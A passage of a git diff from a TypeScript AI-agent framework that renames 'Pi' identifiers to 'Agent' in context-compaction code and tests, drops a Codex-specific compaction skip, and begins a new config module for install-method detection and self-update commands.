boolean; failureReason?: string; }; @@ -97,8 +98,8 @@ const cliCompactionDeps: CliCompactionDeps = { openSessionManager: (sessionFile: string) => SessionManager.open(sessionFile), ensureContextEnginesInitialized: ensureContextEnginesInitializedImpl, resolveContextEngine: resolveContextEngineImpl, - createPreparedEmbeddedPiSettingsManager: createPreparedEmbeddedPiSettingsManagerImpl, - applyPiAutoCompactionGuard: applyPiAutoCompactionGuardImpl, + createPreparedEmbeddedAgentSettingsManager: createPreparedEmbeddedAgentSettingsManagerImpl, + applyAgentAutoCompactionGuard: applyAgentAutoCompactionGuardImpl, shouldPreemptivelyCompactBeforePrompt: shouldPreemptivelyCompactBeforePromptImpl, resolveLiveToolResultMaxChars: resolveLiveToolResultMaxCharsImpl, runContextEngineMaintenance: runContextEngineMaintenanceImpl, @@ -116,8 +117,8 @@ export function resetCliCompactionTestDeps(): void { openSessionManager: (sessionFile: string) => SessionManager.open(sessionFile), ensureContextEnginesInitialized: ensureContextEnginesInitializedImpl, resolveContextEngine: resolveContextEngineImpl, - createPreparedEmbeddedPiSettingsManager: createPreparedEmbeddedPiSettingsManagerImpl, - applyPiAutoCompactionGuard: applyPiAutoCompactionGuardImpl, + createPreparedEmbeddedAgentSettingsManager: createPreparedEmbeddedAgentSettingsManagerImpl, + applyAgentAutoCompactionGuard: applyAgentAutoCompactionGuardImpl, shouldPreemptivelyCompactBeforePrompt: shouldPreemptivelyCompactBeforePromptImpl, resolveLiveToolResultMaxChars: resolveLiveToolResultMaxCharsImpl, runContextEngineMaintenance: runContextEngineMaintenanceImpl, @@ -155,7 +156,7 @@ function isNativeHarnessCompactionSession( provider: string, ): sessionEntry is SessionEntry { const harnessId = sessionEntry?.agentHarnessId?.trim().toLowerCase(); - if (!harnessId || harnessId === "pi") { + if (!harnessId || normalizeOptionalAgentRuntimeId(harnessId) === OPENCLAW_AGENT_RUNTIME_ID) { return false; } const providerId = provider.trim().toLowerCase(); @@ -167,13 +168,13 @@ function isNativeHarnessCompactionSession( } function isUnsupportedNativeHarnessCompaction( - result: EmbeddedPiCompactResult | undefined, + result: EmbeddedAgentCompactResult | undefined, ): boolean { return result?.ok === false && result.failure?.reason === "unsupported_harness_compaction"; } function isRecoverableNativeHarnessCompactionFailure( - result: EmbeddedPiCompactResult | undefined, + result: EmbeddedAgentCompactResult | undefined, ): boolean { return ( result?.ok === false && @@ -182,45 +183,6 @@ function isRecoverableNativeHarnessCompactionFailure( ); } -function isCodexNativeHarnessCompactionSession( - sessionEntry: SessionEntry, - provider: string, -): boolean { - const harnessId = sessionEntry.agentHarnessId?.trim().toLowerCase(); - const providerId = provider.trim().toLowerCase(); - return ( - harnessId === "codex" && - (providerId === "codex" || providerId === "openai" || providerId === "openai-codex") - ); -} - -function shouldSkipAutomaticCompactionForCodexRuntime(params: { - cfg: OpenClawConfig; - sessionEntry: SessionEntry; - sessionAgentId: string; - sessionKey: string; - provider: string; - model: string; -}): boolean { - const runtimeOverride = params.sessionEntry.agentRuntimeOverride?.trim().toLowerCase(); - if (runtimeOverride && runtimeOverride !== "auto" && runtimeOverride !== "default") { - return runtimeOverride === "codex"; - } - const harnessId = params.sessionEntry.agentHarnessId?.trim().toLowerCase(); - if (harnessId) { - return isCodexNativeHarnessCompactionSession(params.sessionEntry, params.provider); - } - return ( - resolveAgentHarnessPolicy({ - provider: params.provider, - modelId: params.model, - config: params.cfg, - agentId: params.sessionAgentId, - sessionKey: params.sessionKey, - }).runtime === "codex" - ); -} - function readAgentIdFromSessionKey(sessionKey: string): string | undefined { const parts = sessionKey.trim().split(":"); return parts[0] === "agent" && parts[1]?.trim() ? parts[1].trim() : undefined; @@ -367,7 +329,7 @@ async function compactNativeHarnessCliTranscript(params: { thinkLevel?: Parameters[0]["thinkLevel"]; extraSystemPrompt?: string; }): Promise { - let result: EmbeddedPiCompactResult | undefined; + let result: EmbeddedAgentCompactResult | undefined; try { const sessionAgentId = readAgentIdFromSessionKey(params.sessionKey); const nativeHarnessId = params.sessionEntry.agentHarnessId?.trim(); @@ -441,9 +403,8 @@ async function compactNativeHarnessCliTranscript(params: { if (!result?.compacted) { const fallbackToContextEngine = - !isCodexNativeHarnessCompactionSession(params.sessionEntry, params.provider) && - (isUnsupportedNativeHarnessCompaction(result) || - isRecoverableNativeHarnessCompactionFailure(result)); + isUnsupportedNativeHarnessCompaction(result) || + isRecoverableNativeHarnessCompactionFailure(result); log.warn( `CLI native harness compaction did not reduce context for ${params.provider}/${params.model}: ${result?.reason ?? "nothing to compact"}`, ); @@ -476,36 +437,14 @@ export async function runCliTurnCompactionLifecycle(params: { thinkLevel?: Parameters[0]["thinkLevel"]; extraSystemPrompt?: string; }): Promise { - const sessionEntry = params.sessionEntry; - const sessionFile = sessionEntry?.sessionFile; - const contextTokenBudget = resolvePositiveInteger(sessionEntry?.contextTokens); + const sessionFile = params.sessionEntry?.sessionFile; + const contextTokenBudget = resolvePositiveInteger(params.sessionEntry?.contextTokens); if (!sessionFile || !contextTokenBudget) { - return sessionEntry; - } - if ( - shouldSkipAutomaticCompactionForCodexRuntime({ - cfg: params.cfg, - sessionEntry, - sessionAgentId: params.sessionAgentId, - sessionKey: params.sessionKey, - provider: params.provider, - model: params.model, - }) - ) { - // Codex CLI/app-server runtimes own their automatic transcript compaction. - // Avoid resurrecting OpenClaw's paternalistic budget fallback here; explicit - // /compact or plugin compaction still forwards through the harness path. - log.debug("skipping OpenClaw CLI compaction for Codex runtime session", { - sessionId: params.sessionId, - sessionKey: params.sessionKey, - provider: params.provider, - model: params.model, - }); - return sessionEntry; + return params.sessionEntry; } const sessionManager = cliCompactionDeps.openSessionManager(sessionFile); - const settingsManager = await cliCompactionDeps.createPreparedEmbeddedPiSettingsManager({ + const settingsManager = await cliCompactionDeps.createPreparedEmbeddedAgentSettingsManager({ cwd: params.workspaceDir, agentDir: params.agentDir, cfg: params.cfg, @@ -536,7 +475,7 @@ export async function runCliTurnCompactionLifecycle(params: { } let compacted = false; - let nativeCompactionResult: EmbeddedPiCompactResult | undefined; + let nativeCompactionResult: EmbeddedAgentCompactResult | undefined; let useContextEngineCompaction = true; let nativeFallbackToContextEngine = false; let resolvedContextEngine: ContextEngine | undefined; @@ -546,7 +485,7 @@ export async function runCliTurnCompactionLifecycle(params: { return; } autoCompactionGuardApplied = true; - await cliCompactionDeps.applyPiAutoCompactionGuard({ + await cliCompactionDeps.applyAgentAutoCompactionGuard({ settingsManager, contextEngineInfo: contextEngine.info, compactionMode: resolveEffectiveCompactionMode(params.cfg), diff --git a/src/agents/command/delivery.ts b/src/agents/command/delivery.ts index ba8a67aecc8..339736b030e 100644 --- a/src/agents/command/delivery.ts +++ b/src/agents/command/delivery.ts @@ -29,12 +29,12 @@ import { import type { OutboundSessionContext } from "../../infra/outbound/session-context.js"; import { type RuntimeEnv, writeRuntimeJson } from "../../runtime.js"; import { isInternalMessageChannel } from "../../utils/message-channel.js"; +import type { MessagingToolSend } from "../embedded-agent-messaging.types.js"; +import type { EmbeddedAgentRunMeta } from "../embedded-agent-runner/types.js"; import { isNestedAgentLane } from "../lanes.js"; -import type { MessagingToolSend } from "../pi-embedded-messaging.types.js"; -import type { EmbeddedPiRunMeta } from "../pi-embedded-runner/types.js"; import type { AgentCommandOpts, AgentCommandResultMetaOverrides } from "./types.js"; -type RunResult = Awaited>; +type RunResult = Awaited>; type DurableSendResult = Awaited>; export type AgentCommandDeliveryPayloadStatus = "sent" | "suppressed" | "failed"; @@ -70,7 +70,7 @@ export type AgentCommandDeliveryStatus = { export type AgentCommandDeliveryResult = { payloads: ReturnType; - meta: EmbeddedPiRunMeta & AgentCommandResultMetaOverrides; + meta: EmbeddedAgentRunMeta & AgentCommandResultMetaOverrides; didSendViaMessagingTool?: boolean; messagingToolSentTexts?: string[]; messagingToolSentMediaUrls?: string[]; @@ -155,9 +155,9 @@ function logNestedOutput( } function mergeResultMetaOverrides( - meta: EmbeddedPiRunMeta, + meta: EmbeddedAgentRunMeta, overrides: AgentCommandResultMetaOverrides | undefined, -): EmbeddedPiRunMeta & AgentCommandResultMetaOverrides { +): EmbeddedAgentRunMeta & AgentCommandResultMetaOverrides { if (!overrides) { return meta; } diff --git a/src/agents/command/session-store.test.ts b/src/agents/command/session-store.test.ts index bfc24ac22e5..176bbae6186 100644 --- a/src/agents/command/session-store.test.ts +++ b/src/agents/command/session-store.test.ts @@ -5,7 +5,7 @@ import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import type { SessionEntry } from "../../config/sessions.js"; import { loadSessionStore } from "../../config/sessions.js"; -import type { EmbeddedPiRunResult } from "../pi-embedded.js"; +import type { EmbeddedAgentRunResult } from "../embedded-agent.js"; import { clearCliSessionInStore, recordCliCompactionInStore, @@ -169,7 +169,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }, }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 1, agentMeta: { @@ -210,7 +210,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 1, agentMeta: { @@ -262,7 +262,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 1, executionTrace: { runner: "cli" }, @@ -313,7 +313,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 1, agentMeta: { @@ -604,7 +604,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -650,7 +650,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -738,7 +738,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -901,7 +901,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -969,7 +969,7 @@ describe("updateSessionStoreAfterAgentRun", () => { compactionTokensAfter: 0, }, }, - } as EmbeddedPiRunResult, + } as EmbeddedAgentRunResult, }); expect(sessionStore[sessionKey]?.totalTokens).toBe(0); @@ -1054,7 +1054,7 @@ describe("updateSessionStoreAfterAgentRun", () => { // Simulate a run with 10k input + 5k output tokens // Cost = (10000 * 10 + 5000 * 30) / 1e6 = $0.25 - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -1224,7 +1224,7 @@ describe("updateSessionStoreAfterAgentRun", () => { await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); // Heartbeat turn uses a different model - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -1342,7 +1342,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify({ [sessionKey]: freshVisibleEntry }, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, aborted: true, @@ -1414,7 +1414,7 @@ describe("updateSessionStoreAfterAgentRun", () => { await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); // Heartbeat turn uses a different, smaller model - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -1459,7 +1459,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -1506,7 +1506,7 @@ describe("updateSessionStoreAfterAgentRun", () => { await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); // Heartbeat turn uses a different provider - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { @@ -1556,7 +1556,7 @@ describe("updateSessionStoreAfterAgentRun", () => { }; await fs.writeFile(storePath, JSON.stringify(sessionStore, null, 2)); - const result: EmbeddedPiRunResult = { + const result: EmbeddedAgentRunResult = { meta: { durationMs: 500, agentMeta: { diff --git a/src/agents/command/session-store.ts b/src/agents/command/session-store.ts index ab302a5ec80..5169fa9cc15 100644 --- a/src/agents/command/session-store.ts +++ b/src/agents/command/session-store.ts @@ -18,7 +18,7 @@ import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; import { isCliProvider } from "../model-selection.js"; import { deriveSessionTotalTokens, hasNonzeroUsage } from "../usage.js"; -type RunResult = Awaited>; +type RunResult = Awaited>; const usageFormatModuleLoader = createLazyImportLoader(() => import("../../utils/usage-format.js")); const contextModuleLoader = createLazyImportLoader(() => import("../context.js")); diff --git a/src/agents/compaction-partial-summary.test.ts b/src/agents/compaction-partial-summary.test.ts index 3f73e5a8210..fa776196186 100644 --- a/src/agents/compaction-partial-summary.test.ts +++ b/src/agents/compaction-partial-summary.test.ts @@ -1,5 +1,5 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "./runtime/index.js"; +import type { ExtensionContext } from "./sessions/index.js"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const compactionMocks = vi.hoisted(() => { @@ -25,10 +25,8 @@ const compactionMocks = vi.hoisted(() => { }; }); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", - ); +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); return { ...actual, estimateTokens: compactionMocks.estimateTokens, diff --git a/src/agents/compaction-real-conversation.ts b/src/agents/compaction-real-conversation.ts index 85280f9fe0b..fb099a0e225 100644 --- a/src/agents/compaction-real-conversation.ts +++ b/src/agents/compaction-real-conversation.ts @@ -1,6 +1,6 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { stripHeartbeatToken } from "../auto-reply/heartbeat.js"; import { isSilentReplyText } from "../auto-reply/tokens.js"; +import type { AgentMessage } from "./runtime/index.js"; const TOOL_RESULT_REAL_CONVERSATION_LOOKBACK = 20; const NON_CONVERSATION_BLOCK_TYPES = new Set([ diff --git a/src/agents/compaction.identifier-preservation.test.ts b/src/agents/compaction.identifier-preservation.test.ts index 05489d8cb50..9024e7e3d63 100644 --- a/src/agents/compaction.identifier-preservation.test.ts +++ b/src/agents/compaction.identifier-preservation.test.ts @@ -1,17 +1,17 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; -import * as piCodingAgent from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import * as agentSessions from "./sessions/index.js"; -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual("@earendil-works/pi-coding-agent"); +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); return { ...actual, generateSummary: vi.fn(), }; }); -const mockGenerateSummary = vi.mocked(piCodingAgent.generateSummary); +const mockGenerateSummary = vi.mocked(agentSessions.generateSummary); type SummarizeInStagesInput = Parameters[0]; const { buildCompactionSummarizationInstructions, summarizeInStages } = diff --git a/src/agents/compaction.retry.test.ts b/src/agents/compaction.retry.test.ts index a155743b331..393d0a9d1b1 100644 --- a/src/agents/compaction.retry.test.ts +++ b/src/agents/compaction.retry.test.ts @@ -1,20 +1,20 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, UserMessage } from "@earendil-works/pi-ai"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; -import * as piCodingAgent from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; +import * as agentSessions from "openclaw/plugin-sdk/agent-sessions"; +import type { AssistantMessage, UserMessage } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { retryAsync } from "../infra/retry.js"; // Mock the external generateSummary function -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual("@earendil-works/pi-coding-agent"); +vi.mock("openclaw/plugin-sdk/agent-sessions", async () => { + const actual = await vi.importActual("openclaw/plugin-sdk/agent-sessions"); return { ...actual, generateSummary: vi.fn(), }; }); -const mockGenerateSummary = vi.mocked(piCodingAgent.generateSummary); +const mockGenerateSummary = vi.mocked(agentSessions.generateSummary); type MockGenerateSummaryCompat = ( currentMessages: AgentMessage[], model: NonNullable, diff --git a/src/agents/compaction.summarize-fallback.test.ts b/src/agents/compaction.summarize-fallback.test.ts index 13bfe7d4749..557560f6046 100644 --- a/src/agents/compaction.summarize-fallback.test.ts +++ b/src/agents/compaction.summarize-fallback.test.ts @@ -1,22 +1,31 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { UserMessage } from "@earendil-works/pi-ai"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { ExtensionContext } from "openclaw/plugin-sdk/agent-sessions"; +import type { UserMessage } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { summarizeWithFallback } from "./compaction.js"; -const piCodingAgentMocks = vi.hoisted(() => ({ +const agentSessionMocks = vi.hoisted(() => ({ generateSummary: vi.fn(), estimateTokens: vi.fn((_message: unknown) => 100), })); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", +vi.mock("openclaw/plugin-sdk/agent-sessions", async () => { + const actual = await vi.importActual( + "openclaw/plugin-sdk/agent-sessions", ); return { ...actual, - generateSummary: piCodingAgentMocks.generateSummary, - estimateTokens: piCodingAgentMocks.estimateTokens, + generateSummary: agentSessionMocks.generateSummary, + estimateTokens: agentSessionMocks.estimateTokens, + }; +}); + +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); + return { + ...actual, + generateSummary: agentSessionMocks.generateSummary, + estimateTokens: agentSessionMocks.estimateTokens, }; }); @@ -30,12 +39,12 @@ const testModel = { describe("summarizeWithFallback", () => { beforeEach(() => { - piCodingAgentMocks.generateSummary.mockReset(); - piCodingAgentMocks.generateSummary.mockRejectedValue( + agentSessionMocks.generateSummary.mockReset(); + agentSessionMocks.generateSummary.mockRejectedValue( new Error("Summarization failed: fetch failed"), ); - piCodingAgentMocks.estimateTokens.mockReset(); - piCodingAgentMocks.estimateTokens.mockImplementation(() => 100); + agentSessionMocks.estimateTokens.mockReset(); + agentSessionMocks.estimateTokens.mockImplementation(() => 100); }); it("does not duplicate summarization when no messages were oversized", async () => { @@ -60,11 +69,11 @@ describe("summarizeWithFallback", () => { expect(result).toContain("Context contained 1 messages"); expect(result).toContain("0 oversized"); // "fetch failed" is timeout-classed now, so summarizeChunks does not retry it. - expect(piCodingAgentMocks.generateSummary).toHaveBeenCalledTimes(1); + expect(agentSessionMocks.generateSummary).toHaveBeenCalledTimes(1); }); it("still attempts partial summarization when oversized messages were excluded", async () => { - piCodingAgentMocks.estimateTokens.mockImplementation((message: unknown) => { + agentSessionMocks.estimateTokens.mockImplementation((message: unknown) => { const content = typeof (message as { content?: unknown }).content === "string" ? (message as { content: string }).content @@ -97,6 +106,6 @@ describe("summarizeWithFallback", () => { expect(result).toContain("2 messages (1 oversized)"); // Full attempt plus distinct partial transcript; timeout-classed failures do not retry. - expect(piCodingAgentMocks.generateSummary.mock.calls.length).toBe(2); + expect(agentSessionMocks.generateSummary.mock.calls.length).toBe(2); }); }); diff --git a/src/agents/compaction.test.ts b/src/agents/compaction.test.ts index 0d0a459451e..bda29e10775 100644 --- a/src/agents/compaction.test.ts +++ b/src/agents/compaction.test.ts @@ -1,8 +1,8 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { AssistantMessage, ToolResultMessage } from "openclaw/plugin-sdk/llm"; import { beforeAll, describe, expect, it, vi } from "vitest"; import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; -import "./test-helpers/pi-coding-agent-token-mock.js"; +import "./test-helpers/agent-session-token-mock.js"; let estimateMessagesTokens: typeof import("./compaction.js").estimateMessagesTokens; let pruneHistoryForContextShare: typeof import("./compaction.js").pruneHistoryForContextShare; diff --git a/src/agents/compaction.token-sanitize.test.ts b/src/agents/compaction.token-sanitize.test.ts index bc03f882975..ab6717a70db 100644 --- a/src/agents/compaction.token-sanitize.test.ts +++ b/src/agents/compaction.token-sanitize.test.ts @@ -1,19 +1,19 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it, vi } from "vitest"; -const piCodingAgentMocks = vi.hoisted(() => ({ +const agentSessionMocks = vi.hoisted(() => ({ estimateTokens: vi.fn((_message: unknown) => 1), generateSummary: vi.fn(async () => "summary"), })); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", +vi.mock("openclaw/plugin-sdk/agent-sessions", async () => { + const actual = await vi.importActual( + "openclaw/plugin-sdk/agent-sessions", ); return { ...actual, - estimateTokens: piCodingAgentMocks.estimateTokens, - generateSummary: piCodingAgentMocks.generateSummary, + estimateTokens: agentSessionMocks.estimateTokens, + generateSummary: agentSessionMocks.generateSummary, }; }); @@ -41,7 +41,7 @@ describe("compaction token accounting sanitization", () => { splitMessagesByTokenShare(messages, 2); chunkMessagesByMaxTokens(messages, 16); - const calledWithDetails = piCodingAgentMocks.estimateTokens.mock.calls.some((call) => { + const calledWithDetails = agentSessionMocks.estimateTokens.mock.calls.some((call) => { const message = call[0] as { details?: unknown } | undefined; return Boolean(message?.details); }); diff --git a/src/agents/compaction.tool-result-details.test.ts b/src/agents/compaction.tool-result-details.test.ts index 9249b5a9c52..9eb1408b99f 100644 --- a/src/agents/compaction.tool-result-details.test.ts +++ b/src/agents/compaction.tool-result-details.test.ts @@ -1,21 +1,19 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { AssistantMessage, ToolResultMessage } from "openclaw/plugin-sdk/llm"; import { beforeEach, describe, expect, it, vi } from "vitest"; import { makeAgentAssistantMessage } from "./test-helpers/agent-message-fixtures.js"; -const piCodingAgentMocks = vi.hoisted(() => ({ +const agentSessionMocks = vi.hoisted(() => ({ generateSummary: vi.fn(async () => "summary"), estimateTokens: vi.fn((_message: unknown) => 1), })); -vi.mock("@earendil-works/pi-coding-agent", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-coding-agent", - ); +vi.mock("./sessions/index.js", async () => { + const actual = await vi.importActual("./sessions/index.js"); return { ...actual, - generateSummary: piCodingAgentMocks.generateSummary, - estimateTokens: piCodingAgentMocks.estimateTokens, + generateSummary: agentSessionMocks.generateSummary, + estimateTokens: agentSessionMocks.estimateTokens, }; }); @@ -51,10 +49,10 @@ function makeToolResultWithDetails(timestamp: number): ToolResultMessage<{ raw: describe("compaction toolResult details stripping", () => { beforeEach(async () => { await loadFreshCompactionModuleForTest(); - piCodingAgentMocks.generateSummary.mockReset(); - piCodingAgentMocks.generateSummary.mockResolvedValue("summary"); - piCodingAgentMocks.estimateTokens.mockReset(); - piCodingAgentMocks.estimateTokens.mockImplementation((_message: unknown) => 1); + agentSessionMocks.generateSummary.mockReset(); + agentSessionMocks.generateSummary.mockResolvedValue("summary"); + agentSessionMocks.estimateTokens.mockReset(); + agentSessionMocks.estimateTokens.mockImplementation((_message: unknown) => 1); }); it("does not pass toolResult.details into generateSummary", async () => { @@ -72,10 +70,10 @@ describe("compaction toolResult details stripping", () => { }); expect(summary).toBe("summary"); - expect(piCodingAgentMocks.generateSummary).toHaveBeenCalledTimes(1); + expect(agentSessionMocks.generateSummary).toHaveBeenCalledTimes(1); const chunk = ( - piCodingAgentMocks.generateSummary.mock.calls as unknown as Array<[AgentMessage[]]> + agentSessionMocks.generateSummary.mock.calls as unknown as Array<[AgentMessage[]]> )[0]?.[0]; expect(chunk).toStrictEqual([ { @@ -141,9 +139,9 @@ describe("compaction toolResult details stripping", () => { contextWindow: 10000, }); - expect(piCodingAgentMocks.generateSummary).toHaveBeenCalledTimes(1); + expect(agentSessionMocks.generateSummary).toHaveBeenCalledTimes(1); const chunk = ( - piCodingAgentMocks.generateSummary.mock.calls as unknown as Array<[AgentMessage[]]> + agentSessionMocks.generateSummary.mock.calls as unknown as Array<[AgentMessage[]]> )[0]?.[0]; expect(chunk).toStrictEqual([ { role: "user", content: "visible ask", timestamp: 1 }, @@ -156,7 +154,7 @@ describe("compaction toolResult details stripping", () => { }); it("ignores toolResult.details when evaluating oversized messages", () => { - piCodingAgentMocks.estimateTokens.mockImplementation((message: unknown) => { + agentSessionMocks.estimateTokens.mockImplementation((message: unknown) => { const record = message as { details?: unknown }; return record.details ? 10_000 : 10; }); diff --git a/src/agents/compaction.ts b/src/agents/compaction.ts index 1f3ce22d8b7..a66e4adfaa6 100644 --- a/src/agents/compaction.ts +++ b/src/agents/compaction.ts @@ -1,9 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { ExtensionContext } from "@earendil-works/pi-coding-agent"; -import { - estimateTokens, - generateSummary as piGenerateSummary, -} from "@earendil-works/pi-coding-agent"; import type { AgentCompactionIdentifierPolicy } from "../config/types.agent-defaults.js"; import { formatErrorMessage } from "../infra/errors.js"; import { retryAsync } from "../infra/retry.js"; @@ -14,7 +8,10 @@ import { isTimeoutError } from "./failover-error.js"; type PartialSummaryError = Error & { partialSummary?: string }; import { stripRuntimeContextCustomMessages } from "./internal-runtime-context.js"; +import type { AgentMessage } from "./runtime/index.js"; import { repairToolUseResultPairing, stripToolResultDetails } from "./session-transcript-repair.js"; +import type { ExtensionContext } from "./sessions/index.js"; +import { estimateTokens, generateSummary as agentGenerateSummary } from "./sessions/index.js"; import { extractToolCallsFromAssistant, extractToolResultId } from "./tool-call-id.js"; const log = createSubsystemLogger("compaction"); @@ -85,7 +82,7 @@ type GenerateSummaryCompat = { ): Promise; }; -const generateSummaryCompat = piGenerateSummary as unknown as GenerateSummaryCompat; +const generateSummaryCompat = agentGenerateSummary as unknown as GenerateSummaryCompat; function resolveIdentifierPreservationInstructions( instructions?: CompactionSummarizationInstructions, @@ -402,7 +399,7 @@ function generateSummary( customInstructions?: string, previousSummary?: string, ): Promise { - if (piGenerateSummary.length >= 8) { + if (agentGenerateSummary.length >= 8) { return generateSummaryCompat( currentMessages, model, diff --git a/src/agents/config.ts b/src/agents/config.ts new file mode 100644 index 00000000000..2b533133cbb --- /dev/null +++ b/src/agents/config.ts @@ -0,0 +1,564 @@ +import { accessSync, constants, existsSync, readFileSync, realpathSync } from "node:fs"; +import { homedir } from "node:os"; +import { basename, dirname, join, resolve, sep, win32 } from "node:path"; +import { fileURLToPath } from "node:url"; +import { spawnProcessSync } from "./utils/child-process.ts"; + +// ============================================================================= +// Package Detection +// ============================================================================= + +const currentFile = fileURLToPath(import.meta.url); +const currentDir = dirname(currentFile); + +/** + * Detect if we're running as a Bun compiled binary. + * Bun binaries have import.meta.url containing "$bunfs", "~BUN", or "%7EBUN" (Bun's virtual filesystem path) + */ +export const isBunBinary = + import.meta.url.includes("$bunfs") || + import.meta.url.includes("~BUN") || + import.meta.url.includes("%7EBUN"); + +/** Detect if Bun is the runtime (compiled binary or bun run) */ +export const isBunRuntime = !!process.versions.bun; + +// ============================================================================= +// Install Method Detection +// ============================================================================= + +export type InstallMethod = "bun-binary" | "npm" | "pnpm" | "yarn" | "bun" | "unknown"; + +interface SelfUpdateCommandStep { + command: string; + args: string[]; + display: string; +} + +export interface SelfUpdateCommand extends SelfUpdateCommandStep { + steps?: SelfUpdateCommandStep[]; +} + +function makeSelfUpdateCommand( + installStep: SelfUpdateCommandStep, + uninstallStep?: SelfUpdateCommandStep, +): SelfUpdateCommand { + if (!uninstallStep) { + return installStep; + } + return { + ...installStep, + display: `${uninstallStep.display} && ${installStep.display}`, + steps: [uninstallStep, installStep], + }; +} + +function makeSelfUpdateCommandStep(command: string, args: string[]): SelfUpdateCommandStep { + return { + command, + args, + display: [command, ...args].map((arg) => (/\s/.test(arg) ? `"${arg}"` : arg)).join(" "), + }; +} + +export function detectInstallMethod(): InstallMethod { + if (isBunBinary) { + return "bun-binary"; + } + + const resolvedPath = 